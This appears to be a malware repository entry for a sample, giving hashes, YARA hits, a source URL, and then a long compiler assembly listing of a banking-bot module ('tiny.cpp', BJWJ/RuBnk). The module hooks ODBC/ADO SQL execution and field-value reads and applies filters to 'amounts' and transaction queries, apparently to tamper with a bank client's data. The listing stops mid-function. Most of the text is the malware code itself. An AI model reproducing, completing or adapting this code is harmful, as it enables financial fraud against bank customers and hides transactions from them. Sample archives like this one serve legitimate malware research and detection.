Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: d302d1c10ebaefe54beaa2cafb720552 --

Hashes
MD5: d302d1c10ebaefe54beaa2cafb720552
SHA1: f2f2c34da3bf4c363e3acc700ef18accc44c9e93
SHA256: ad5565daae6a4572d355b0053636daa04afb0123c7a11cff881bccf79bf74e35
SSDEEP: 3072:ddE7gCXtB4A4cmPucT9xr6COOsxyio/UjH4XQHmgvPpJn/7NWo6TJqMSIRaI2ZRE:nEbMjJqMHyRgtXX476lWeZ92C
Details
File Type: BSD
Yara Hits
CuckooSandbox/embedded_win_api | YRP/domain | YRP/contentis_base64 | YRP/Str_Win32_Http_API |
Source
http://103.68.190.250/Sources//Advance/BJWJ/Builds/BOT_PLUG/Objs/Release/tiny.cod
Strings
		; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 
	TITLE	e:\Projects\progs\Petrosjan\BJWJ\source\RuBnk\tiny.cpp
	.686P
	include listing.inc
	.model	flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC	??_C@_1DA@BPKIGLEC@?$AAu?$AAp?$AAd?$AAa?$AAt?$AAe?$AA?$AA?$AAc?$AAo?$AAn?$AAf?$AAi?$AAg?$AA?$AA?$AAl?$AAa?$AAs?$AAt?$AAs?$AAy?$AAn?$AAc?$AA?$AA?$AA?$AA@ ; `string'
PUBLIC	??_C@_1EM@KGIJNIEG@?$AAs?$AAe?$AAl?$AAe?$AAc?$AAt?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAs?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAf?$AAl?$AAa?$AAg?$AA?$AA?$AAo?$AAr?$AAd?$AAe?$AAr?$AA?$AA@ ; `string'
PUBLIC	??_C@_1FE@GDGMPIDI@?$AAs?$AAe?$AAl?$AAe?$AAc?$AAt?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAs?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAf?$AAl?$AAa?$AAg?$AA?$AA?$AAt?$AAr?$AAa?$AAn?$AAs?$AAf@ ; `string'
PUBLIC	?RealSQLExecute@Tiny@@3P6GFPAX@ZA		; Tiny::RealSQLExecute
PUBLIC	?RealSQLExecDirectA@Tiny@@3P6GFPAXPAEJ@ZA	; Tiny::RealSQLExecDirectA
PUBLIC	?folderTiny@Tiny@@3PADA				; Tiny::folderTiny
PUBLIC	?RealSQLPrepareA@Tiny@@3P6GFPAXPAEJ@ZA		; Tiny::RealSQLPrepareA
PUBLIC	?Hibernation@TVideoRecDLL@@2HB			; TVideoRecDLL::Hibernation
PUBLIC	?RunCallback@TVideoRecDLL@@2HB			; TVideoRecDLL::RunCallback
PUBLIC	?GrabControls@Tiny@@3PAKA			; Tiny::GrabControls
PUBLIC	?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A		; Tiny::filtersSQL
PUBLIC	?filedsValue@Tiny@@3PAUFieldValue@1@A		; Tiny::filedsValue
PUBLIC	?IID_Connection@Tiny@@3U_GUID@@A		; Tiny::IID_Connection
PUBLIC	?IID_Recordset@Tiny@@3U_GUID@@A			; Tiny::IID_Recordset
PUBLIC	?IID_Command@Tiny@@3U_GUID@@A			; Tiny::IID_Command
PUBLIC	?IID_Fields@Tiny@@3U_GUID@@A			; Tiny::IID_Fields
_BSS	SEGMENT
?RealSQLExecute@Tiny@@3P6GFPAX@ZA DD 01H DUP (?)	; Tiny::RealSQLExecute
?RealSQLExecDirectA@Tiny@@3P6GFPAXPAEJ@ZA DD 01H DUP (?) ; Tiny::RealSQLExecDirectA
?folderTiny@Tiny@@3PADA DB 0104H DUP (?)		; Tiny::folderTiny
?RealSQLPrepareA@Tiny@@3P6GFPAXPAEJ@ZA DD 01H DUP (?)	; Tiny::RealSQLPrepareA
_runHideReplacement DB 01H DUP (?)
	ALIGN	4
_replacementDone DB 01H DUP (?)
	ALIGN	4
_HashCurrProcess DD 01H DUP (?)
_stateSQL DD	01H DUP (?)
_currAccount DD	01H DUP (?)
_BSS	ENDS
;	COMDAT ??_C@_1DA@BPKIGLEC@?$AAu?$AAp?$AAd?$AAa?$AAt?$AAe?$AA?$AA?$AAc?$AAo?$AAn?$AAf?$AAi?$AAg?$AA?$AA?$AAl?$AAa?$AAs?$AAt?$AAs?$AAy?$AAn?$AAc?$AA?$AA?$AA?$AA@
CONST	SEGMENT
??_C@_1DA@BPKIGLEC@?$AAu?$AAp?$AAd?$AAa?$AAt?$AAe?$AA?$AA?$AAc?$AAo?$AAn?$AAf?$AAi?$AAg?$AA?$AA?$AAl?$AAa?$AAs?$AAt?$AAs?$AAy?$AAn?$AAc?$AA?$AA?$AA?$AA@ DB 'u'
	DB	00H, 'p', 00H, 'd', 00H, 'a', 00H, 't', 00H, 'e', 00H, 00H, 00H
	DB	'c', 00H, 'o', 00H, 'n', 00H, 'f', 00H, 'i', 00H, 'g', 00H, 00H
	DB	00H, 'l', 00H, 'a', 00H, 's', 00H, 't', 00H, 's', 00H, 'y', 00H
	DB	'n', 00H, 'c', 00H, 00H, 00H, 00H, 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_1EM@KGIJNIEG@?$AAs?$AAe?$AAl?$AAe?$AAc?$AAt?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAs?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAf?$AAl?$AAa?$AAg?$AA?$AA?$AAo?$AAr?$AAd?$AAe?$AAr?$AA?$AA@
CONST	SEGMENT
??_C@_1EM@KGIJNIEG@?$AAs?$AAe?$AAl?$AAe?$AAc?$AAt?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAs?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAf?$AAl?$AAa?$AAg?$AA?$AA?$AAo?$AAr?$AAd?$AAe?$AAr?$AA?$AA@ DB 's'
	DB	00H, 'e', 00H, 'l', 00H, 'e', 00H, 'c', 00H, 't', 00H, 00H, 00H
	DB	'a', 00H, 'm', 00H, 'o', 00H, 'u', 00H, 'n', 00H, 't', 00H, 's'
	DB	00H, 00H, 00H, 'a', 00H, 'm', 00H, 'o', 00H, 'u', 00H, 'n', 00H
	DB	't', 00H, 'f', 00H, 'l', 00H, 'a', 00H, 'g', 00H, 00H, 00H, 'o'
	DB	00H, 'r', 00H, 'd', 00H, 'e', 00H, 'r', 00H, 00H, 00H, 'c', 00H
	DB	'o', 00H, 'd', 00H, 'e', 00H, 00H, 00H, 00H, 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_1FE@GDGMPIDI@?$AAs?$AAe?$AAl?$AAe?$AAc?$AAt?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAs?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAf?$AAl?$AAa?$AAg?$AA?$AA?$AAt?$AAr?$AAa?$AAn?$AAs?$AAf@
CONST	SEGMENT
??_C@_1FE@GDGMPIDI@?$AAs?$AAe?$AAl?$AAe?$AAc?$AAt?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAs?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAf?$AAl?$AAa?$AAg?$AA?$AA?$AAt?$AAr?$AAa?$AAn?$AAs?$AAf@ DB 's'
	DB	00H, 'e', 00H, 'l', 00H, 'e', 00H, 'c', 00H, 't', 00H, 00H, 00H
	DB	'a', 00H, 'm', 00H, 'o', 00H, 'u', 00H, 'n', 00H, 't', 00H, 's'
	DB	00H, 00H, 00H, 'a', 00H, 'm', 00H, 'o', 00H, 'u', 00H, 'n', 00H
	DB	't', 00H, 'f', 00H, 'l', 00H, 'a', 00H, 'g', 00H, 00H, 00H, 't'
	DB	00H, 'r', 00H, 'a', 00H, 'n', 00H, 's', 00H, 'f', 00H, 'l', 00H
	DB	'a', 00H, 'g', 00H, 00H, 00H, 'd', 00H, 'e', 00H, 's', 00H, 'c'
	DB	00H, 00H, 00H, 00H, 00H			; `string'
CONST	ENDS
_DATA	SEGMENT
?GrabControls@Tiny@@3PAKA DD 079770896H			; Tiny::GrabControls
	DD	048b934f1H
	DD	00H
?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A DD FLAT:??_C@_1FE@GDGMPIDI@?$AAs?$AAe?$AAl?$AAe?$AAc?$AAt?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAs?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAf?$AAl?$AAa?$AAg?$AA?$AA?$AAt?$AAr?$AAa?$AAn?$AAs?$AAf@ ; Tiny::filtersSQL
	DD	00H
	DD	FLAT:?FSF_SelectAmounts@Tiny@@YAHPA_WH@Z
	DD	FLAT:??_C@_1EM@KGIJNIEG@?$AAs?$AAe?$AAl?$AAe?$AAc?$AAt?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAs?$AA?$AA?$AAa?$AAm?$AAo?$AAu?$AAn?$AAt?$AAf?$AAl?$AAa?$AAg?$AA?$AA?$AAo?$AAr?$AAd?$AAe?$AAr?$AA?$AA@
	DD	00H
	DD	FLAT:?FSF_SelectAmountsOld@Tiny@@YAHPA_WH@Z
	DD	FLAT:??_C@_1DA@BPKIGLEC@?$AAu?$AAp?$AAd?$AAa?$AAt?$AAe?$AA?$AA?$AAc?$AAo?$AAn?$AAf?$AAi?$AAg?$AA?$AA?$AAl?$AAa?$AAs?$AAt?$AAs?$AAy?$AAn?$AAc?$AA?$AA?$AA?$AA@
	DD	00H
	DD	FLAT:?FSF_UpdateConfigLastSync@Tiny@@YAHPA_WH@Z
	DD	00H
	DD	00H
	DD	00H
?filedsValue@Tiny@@3PAUFieldValue@1@A DD 0c7bf265H	; Tiny::filedsValue
	DD	FLAT:?FV_Code_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z
	DD	0fd84c9d2H
	DD	FLAT:?FV_Confirmed_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z
	DD	0cd15a183H
	DD	FLAT:?FV_FullName_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z
	DD	00H
	DD	00H
?IID_Connection@Tiny@@3U_GUID@@A DD 0514H		; Tiny::IID_Connection
	DW	00H
	DW	010H
	DB	080H
	DB	00H
	DB	00H
	DB	0aaH
	DB	00H
	DB	06dH
	DB	02eH
	DB	0a4H
?IID_Recordset@Tiny@@3U_GUID@@A DD 0535H		; Tiny::IID_Recordset
	DW	00H
	DW	010H
	DB	080H
	DB	00H
	DB	00H
	DB	0aaH
	DB	00H
	DB	06dH
	DB	02eH
	DB	0a4H
?IID_Command@Tiny@@3U_GUID@@A DD 0507H			; Tiny::IID_Command
	DW	00H
	DW	010H
	DB	080H
	DB	00H
	DB	00H
	DB	0aaH
	DB	00H
	DB	06dH
	DB	02eH
	DB	0a4H
?IID_Fields@Tiny@@3U_GUID@@A DD 0154dH			; Tiny::IID_Fields
	DW	00H
	DW	010H
	DB	080H
	DB	00H
	DB	00H
	DB	0aaH
	DB	00H
	DB	06dH
	DB	02eH
	DB	0a4H
_DATA	ENDS
;	COMDAT ?RunCallback@TVideoRecDLL@@2HB
CONST	SEGMENT
?RunCallback@TVideoRecDLL@@2HB DD 01000H		; TVideoRecDLL::RunCallback
CONST	ENDS
;	COMDAT ?Hibernation@TVideoRecDLL@@2HB
CONST	SEGMENT
?Hibernation@TVideoRecDLL@@2HB DD 01H			; TVideoRecDLL::Hibernation
CONST	ENDS
PUBLIC	?strstr@@YAPADPADPBD@Z				; strstr
EXTRN	_strstr:PROC
; Function compile flags: /Ogspy
; File d:\program files\microsoft visual studio 9.0\vc\include\string.h
;	COMDAT ?strstr@@YAPADPADPBD@Z
_TEXT	SEGMENT
__Str$ = 8						; size = 4
__SubStr$ = 12						; size = 4
?strstr@@YAPADPADPBD@Z PROC				; strstr, COMDAT
; 190  : 	{ return (char*)strstr((const char*)_Str, _SubStr); }
  00000	e9 00 00 00 00	 jmp	 _strstr
?strstr@@YAPADPADPBD@Z ENDP				; strstr
_TEXT	ENDS
PUBLIC	??_7TBotObject@@6B@				; TBotObject::`vftable'
PUBLIC	??1TBotObject@@UAE@XZ				; TBotObject::~TBotObject
EXTRN	??_ETBotObject@@UAEPAXI@Z:PROC			; TBotObject::`vector deleting destructor'
;	COMDAT ??_7TBotObject@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
CONST	SEGMENT
??_7TBotObject@@6B@ DD FLAT:??_ETBotObject@@UAEPAXI@Z	; TBotObject::`vftable'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??1TBotObject@@UAE@XZ
_TEXT	SEGMENT
??1TBotObject@@UAE@XZ PROC				; TBotObject::~TBotObject, COMDAT
; _this$ = ecx
; 883  : 	virtual ~TBotObject() {}
  00000	c7 01 00 00 00
	00		 mov	 DWORD PTR [ecx], OFFSET ??_7TBotObject@@6B@
  00006	c3		 ret	 0
??1TBotObject@@UAE@XZ ENDP				; TBotObject::~TBotObject
_TEXT	ENDS
EXTRN	??3TBotObject@@SAXPAX@Z:PROC			; TBotObject::operator delete
; Function compile flags: /Ogspy
;	COMDAT ??_GTBotObject@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBotObject@@UAEPAXI@Z PROC				; TBotObject::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	f6 44 24 04 01	 test	 BYTE PTR ___flags$[esp-4], 1
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
  00008	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  0000e	74 07		 je	 SHORT $LN1@scalar
  00010	56		 push	 esi
  00011	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00016	59		 pop	 ecx
$LN1@scalar:
  00017	8b c6		 mov	 eax, esi
  00019	5e		 pop	 esi
  0001a	c2 04 00	 ret	 4
??_GTBotObject@@UAEPAXI@Z ENDP				; TBotObject::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??0TMemory@@QAE@K@Z				; TMemory::TMemory
EXTRN	?MemAlloc@@YAPAXK@Z:PROC			; MemAlloc
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\memory.h
;	COMDAT ??0TMemory@@QAE@K@Z
_TEXT	SEGMENT
_Size$ = 8						; size = 4
??0TMemory@@QAE@K@Z PROC				; TMemory::TMemory, COMDAT
; _this$ = ecx
; 119  : 	{
; 120  : 		FSize = Size;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Size$[esp-4]
  00004	56		 push	 esi
  00005	8b f1		 mov	 esi, ecx
; 121  :         FBuf  = MemAlloc(Size);
  00007	50		 push	 eax
  00008	89 46 04	 mov	 DWORD PTR [esi+4], eax
  0000b	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00010	89 06		 mov	 DWORD PTR [esi], eax
  00012	59		 pop	 ecx
; 122  : 	}
  00013	8b c6		 mov	 eax, esi
  00015	5e		 pop	 esi
  00016	c2 04 00	 ret	 4
??0TMemory@@QAE@K@Z ENDP				; TMemory::TMemory
_TEXT	ENDS
PUBLIC	??1TMemory@@QAE@XZ				; TMemory::~TMemory
EXTRN	?MemFree@@YAXPAX@Z:PROC				; MemFree
; Function compile flags: /Ogspy
;	COMDAT ??1TMemory@@QAE@XZ
_TEXT	SEGMENT
??1TMemory@@QAE@XZ PROC					; TMemory::~TMemory, COMDAT
; _this$ = ecx
; 126  :         MemFree(FBuf);
  00000	ff 31		 push	 DWORD PTR [ecx]
  00002	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00007	59		 pop	 ecx
; 127  : 	}
  00008	c3		 ret	 0
??1TMemory@@QAE@XZ ENDP					; TMemory::~TMemory
_TEXT	ENDS
PUBLIC	?AsStr@TMemory@@QAEPADXZ			; TMemory::AsStr
; Function compile flags: /Ogspy
;	COMDAT ?AsStr@TMemory@@QAEPADXZ
_TEXT	SEGMENT
?AsStr@TMemory@@QAEPADXZ PROC				; TMemory::AsStr, COMDAT
; _this$ = ecx
; 139  :     inline PCHAR AsStr() { return (PCHAR)FBuf; }
  00000	8b 01		 mov	 eax, DWORD PTR [ecx]
  00002	c3		 ret	 0
?AsStr@TMemory@@QAEPADXZ ENDP				; TMemory::AsStr
_TEXT	ENDS
PUBLIC	?IsExists@File@@YA_NQAD@Z			; File::IsExists
EXTRN	?FileExistsA@@YA_NQAD@Z:PROC			; FileExistsA
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\utils.h
;	COMDAT ?IsExists@File@@YA_NQAD@Z
_TEXT	SEGMENT
_FileName$ = 8						; size = 4
?IsExists@File@@YA_NQAD@Z PROC				; File::IsExists, COMDAT
; 299  : 		return FileExistsA(FileName);
  00000	e9 00 00 00 00	 jmp	 ?FileExistsA@@YA_NQAD@Z	; FileExistsA
?IsExists@File@@YA_NQAD@Z ENDP				; File::IsExists
_TEXT	ENDS
PUBLIC	??0TBotObject@@QAE@XZ				; TBotObject::TBotObject
; Function compile flags: /Ogspy
;	COMDAT ??0TBotObject@@QAE@XZ
_TEXT	SEGMENT
??0TBotObject@@QAE@XZ PROC				; TBotObject::TBotObject, COMDAT
; _this$ = ecx
  00000	8b c1		 mov	 eax, ecx
  00002	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7TBotObject@@6B@
  00008	c3		 ret	 0
??0TBotObject@@QAE@XZ ENDP				; TBotObject::TBotObject
_TEXT	ENDS
PUBLIC	??_7ODBC@@6B@					; ODBC::`vftable'
PUBLIC	??0ODBC@@QAE@XZ					; ODBC::ODBC
EXTRN	??_EODBC@@UAEPAXI@Z:PROC			; ODBC::`vector deleting destructor'
;	COMDAT ??_7ODBC@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\common\videorecorder.h
CONST	SEGMENT
??_7ODBC@@6B@ DD FLAT:??_EODBC@@UAEPAXI@Z		; ODBC::`vftable'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\odbc.h
CONST	ENDS
;	COMDAT ??0ODBC@@QAE@XZ
_TEXT	SEGMENT
??0ODBC@@QAE@XZ PROC					; ODBC::ODBC, COMDAT
; _this$ = ecx
; 16   : 		{
  00000	8b c1		 mov	 eax, ecx
  00002	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00006	83 60 08 00	 and	 DWORD PTR [eax+8], 0
  0000a	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7ODBC@@6B@
; 17   : 		}
  00010	c3		 ret	 0
??0ODBC@@QAE@XZ ENDP					; ODBC::ODBC
_TEXT	ENDS
PUBLIC	??1ODBC@@UAE@XZ					; ODBC::~ODBC
EXTRN	?Close@ODBC@@QAEXXZ:PROC			; ODBC::Close
; Function compile flags: /Ogspy
;	COMDAT ??1ODBC@@UAE@XZ
_TEXT	SEGMENT
??1ODBC@@UAE@XZ PROC					; ODBC::~ODBC, COMDAT
; _this$ = ecx
; 20   : 		{
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7ODBC@@6B@
; 21   : 			Close();
  00009	e8 00 00 00 00	 call	 ?Close@ODBC@@QAEXXZ	; ODBC::Close
; 22   : 		}
  0000e	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  00014	5e		 pop	 esi
  00015	c3		 ret	 0
??1ODBC@@UAE@XZ ENDP					; ODBC::~ODBC
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_GODBC@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GODBC@@UAEPAXI@Z PROC				; ODBC::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1ODBC@@UAE@XZ		; ODBC::~ODBC
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@2
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@2:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_GODBC@@UAEPAXI@Z ENDP				; ODBC::`scalar deleting destructor'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
_TEXT	ENDS
;	COMDAT ?CloseDB@Tiny@@YAXPAVODBC@@@Z
_TEXT	SEGMENT
?CloseDB@Tiny@@YAXPAVODBC@@@Z PROC			; Tiny::CloseDB, COMDAT
; _DB$ = ecx
; 216  : 	if( DB ) delete DB;
  00000	85 c9		 test	 ecx, ecx
  00002	74 06		 je	 SHORT $LN4@CloseDB
  00004	8b 01		 mov	 eax, DWORD PTR [ecx]
  00006	6a 01		 push	 1
  00008	ff 10		 call	 DWORD PTR [eax]
$LN4@CloseDB:
; 217  : }
  0000a	c3		 ret	 0
?CloseDB@Tiny@@YAXPAVODBC@@@Z ENDP			; Tiny::CloseDB
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?IsHash@Tiny@@YA_NPAKK@Z
_TEXT	SEGMENT
_hash$ = 8						; size = 4
?IsHash@Tiny@@YA_NPAKK@Z PROC				; Tiny::IsHash, COMDAT
; _hashs$ = ecx
; 432  : 	while( *hashs )
  00000	eb 09		 jmp	 SHORT $LN10@IsHash
$LL3@IsHash:
; 433  : 	{
; 434  : 		if( *hashs == hash )
  00002	3b 44 24 04	 cmp	 eax, DWORD PTR _hash$[esp-4]
  00006	74 0c		 je	 SHORT $LN7@IsHash
; 436  : 		hashs++;
  00008	83 c1 04	 add	 ecx, 4
$LN10@IsHash:
; 432  : 	while( *hashs )
  0000b	8b 01		 mov	 eax, DWORD PTR [ecx]
  0000d	85 c0		 test	 eax, eax
  0000f	75 f1		 jne	 SHORT $LL3@IsHash
; 437  : 	}
; 438  : 	return false;
  00011	32 c0		 xor	 al, al
; 439  : }
  00013	c3		 ret	 0
$LN7@IsHash:
; 435  : 			return true;
  00014	b0 01		 mov	 al, 1
; 439  : }
  00016	c3		 ret	 0
?IsHash@Tiny@@YA_NPAKK@Z ENDP				; Tiny::IsHash
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?GetInterfaceFunc@Tiny@@YAPAXPAXH@Z
_TEXT	SEGMENT
?GetInterfaceFunc@Tiny@@YAPAXPAXH@Z PROC		; Tiny::GetInterfaceFunc, COMDAT
; _This$ = eax
; _num$ = ecx
; 556  : 	DWORD* pv = (DWORD*)*((DWORD*)This); //
; 557  : 	return (void*)pv[num];
  00000	8b 00		 mov	 eax, DWORD PTR [eax]
  00002	8b 04 88	 mov	 eax, DWORD PTR [eax+ecx*4]
; 558  : }
  00005	c3		 ret	 0
?GetInterfaceFunc@Tiny@@YAPAXPAXH@Z ENDP		; Tiny::GetInterfaceFunc
_TEXT	ENDS
EXTRN	?GetHash@WSTR@@YAKQA_WK_N@Z:PROC		; WSTR::GetHash
_BSS	SEGMENT
_RealField_get_Value DD 01H DUP (?)
; Function compile flags: /Ogspy
_BSS	ENDS
;	COMDAT ?HandlerField_get_Value@Tiny@@YGJPAXPAUtagVARIANT@@@Z
_TEXT	SEGMENT
_nameField$100157 = 8					; size = 4
_This$ = 8						; size = 4
_pvar$ = 12						; size = 4
?HandlerField_get_Value@Tiny@@YGJPAXPAUtagVARIANT@@@Z PROC ; Tiny::HandlerField_get_Value, COMDAT
; 642  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	56		 push	 esi
; 643  : 	HRESULT hr = RealField_get_Value( This, pvar );
  00004	8b 75 08	 mov	 esi, DWORD PTR _This$[ebp]
  00007	57		 push	 edi
  00008	ff 75 0c	 push	 DWORD PTR _pvar$[ebp]
  0000b	56		 push	 esi
  0000c	ff 15 00 00 00
	00		 call	 DWORD PTR _RealField_get_Value
  00012	8b f8		 mov	 edi, eax
; 644  : 	if( SUCCEEDED(hr) )
  00014	85 ff		 test	 edi, edi
  00016	7c 40		 jl	 SHORT $LN2@HandlerFie
; 645  : 	{
; 646  : 		type_get_Name get_Name = (type_get_Name)GetInterfaceFunc( This, 11 );
; 647  : 		BSTR nameField;
; 648  : 		get_Name( This, &nameField );
  00018	8b 06		 mov	 eax, DWORD PTR [esi]
  0001a	8d 4d 08	 lea	 ecx, DWORD PTR _nameField$100157[ebp]
  0001d	51		 push	 ecx
  0001e	56		 push	 esi
  0001f	ff 50 2c	 call	 DWORD PTR [eax+44]
; 649  : 		DWORD hash = WSTR::GetHash( nameField, 0, true );
  00022	6a 01		 push	 1
  00024	6a 00		 push	 0
  00026	ff 75 08	 push	 DWORD PTR _nameField$100157[ebp]
  00029	e8 00 00 00 00	 call	 ?GetHash@WSTR@@YAKQA_WK_N@Z ; WSTR::GetHash
; 650  : 		int i = 0;
; 651  : 		while( filedsValue[i].hash )
  0002e	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?filedsValue@Tiny@@3PAUFieldValue@1@A
  00034	83 c4 0c	 add	 esp, 12			; 0000000cH
  00037	33 d2		 xor	 edx, edx
  00039	eb 0c		 jmp	 SHORT $LN12@HandlerFie
$LL3@HandlerFie:
; 652  : 		{
; 653  : 			if( filedsValue[i].hash == hash )
  0003b	3b c8		 cmp	 ecx, eax
  0003d	74 0e		 je	 SHORT $LN10@HandlerFie
  0003f	8b 0c d5 08 00
	00 00		 mov	 ecx, DWORD PTR ?filedsValue@Tiny@@3PAUFieldValue@1@A[edx*8+8]
; 656  : 				break;
; 657  : 			}
; 658  : 			i++;
  00046	42		 inc	 edx
$LN12@HandlerFie:
; 650  : 		int i = 0;
; 651  : 		while( filedsValue[i].hash )
  00047	85 c9		 test	 ecx, ecx
  00049	75 f0		 jne	 SHORT $LL3@HandlerFie
; 652  : 		{
; 653  : 			if( filedsValue[i].hash == hash )
  0004b	eb 0b		 jmp	 SHORT $LN2@HandlerFie
$LN10@HandlerFie:
; 654  : 			{
; 655  : 				filedsValue[i].func(pvar);
  0004d	ff 75 0c	 push	 DWORD PTR _pvar$[ebp]
  00050	ff 14 d5 04 00
	00 00		 call	 DWORD PTR ?filedsValue@Tiny@@3PAUFieldValue@1@A[edx*8+4]
  00057	59		 pop	 ecx
$LN2@HandlerFie:
; 659  : 		}
; 660  : /*
; 661  : 		switch( pvar->vt )
; 662  : 		{
; 663  : 			case VT_I4:
; 664  : 				DBG( "Tiny", "[%ls] = %d", nameField, pvar->lVal );
; 665  : 				break;
; 666  : 			case VT_BSTR:
; 667  : 				DBG( "Tiny", "[%ls] = '%ls'", nameField, pvar->bstrVal );
; 668  : 				break;
; 669  : 			case VT_CY:
; 670  : 				DBG( "Tiny", "[%ls] = %I64d", nameField, pvar->cyVal );
; 671  : 				break;
; 672  : 			default:
; 673  : 				DBG( "Tiny", "[%ls] type value = %d", nameField, pvar->vt );
; 674  : 				break;
; 675  : 		}
; 676  : */
; 677  : 	}
; 678  : 	return hr;
  00058	8b c7		 mov	 eax, edi
  0005a	5f		 pop	 edi
  0005b	5e		 pop	 esi
; 679  : }
  0005c	5d		 pop	 ebp
  0005d	c2 08 00	 ret	 8
?HandlerField_get_Value@Tiny@@YGJPAXPAUtagVARIANT@@@Z ENDP ; Tiny::HandlerField_get_Value
_TEXT	ENDS
EXTRN	?m_wcsstr@@YGPB_WPB_W0@Z:PROC			; m_wcsstr
EXTRN	?m_wcslen@@YGKPB_W@Z:PROC			; m_wcslen
EXTRN	?m_wcslwr@@YAPA_WPA_W@Z:PROC			; m_wcslwr
; Function compile flags: /Ogspy
;	COMDAT ?ExecSQLFilter@Tiny@@YAHPA_W@Z
_TEXT	SEGMENT
_l$100212 = -16						; size = 4
_l$100205 = -16						; size = 4
_ret$ = -12						; size = 4
_p$100201 = -8						; size = 4
_i$ = -4						; size = 4
_newSQL$ = 8						; size = 4
?ExecSQLFilter@Tiny@@YAHPA_W@Z PROC			; Tiny::ExecSQLFilter, COMDAT
; 711  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 10	 sub	 esp, 16			; 00000010H
  00006	57		 push	 edi
; 712  : 	int ret = 0;
; 713  : 	m_wcslwr(newSQL); //
  00007	ff 75 08	 push	 DWORD PTR _newSQL$[ebp]
  0000a	33 ff		 xor	 edi, edi
  0000c	89 7d f4	 mov	 DWORD PTR _ret$[ebp], edi
  0000f	e8 00 00 00 00	 call	 ?m_wcslwr@@YAPA_WPA_W@Z	; m_wcslwr
  00014	59		 pop	 ecx
; 714  : 	int i = 0;
  00015	89 7d fc	 mov	 DWORD PTR _i$[ebp], edi
; 715  : 	while( filtersSQL[i].func )
  00018	39 3d 08 00 00
	00		 cmp	 DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A+8, edi
  0001e	0f 84 e4 00 00
	00		 je	 $LN13@ExecSQLFil
  00024	56		 push	 esi
  00025	33 f6		 xor	 esi, esi
  00027	53		 push	 ebx
$LL14@ExecSQLFil:
; 716  : 	{
; 717  : 		bool ok = true;
; 718  : 		if( filtersSQL[i].and ) //
  00028	8b 86 00 00 00
	00		 mov	 eax, DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A[esi]
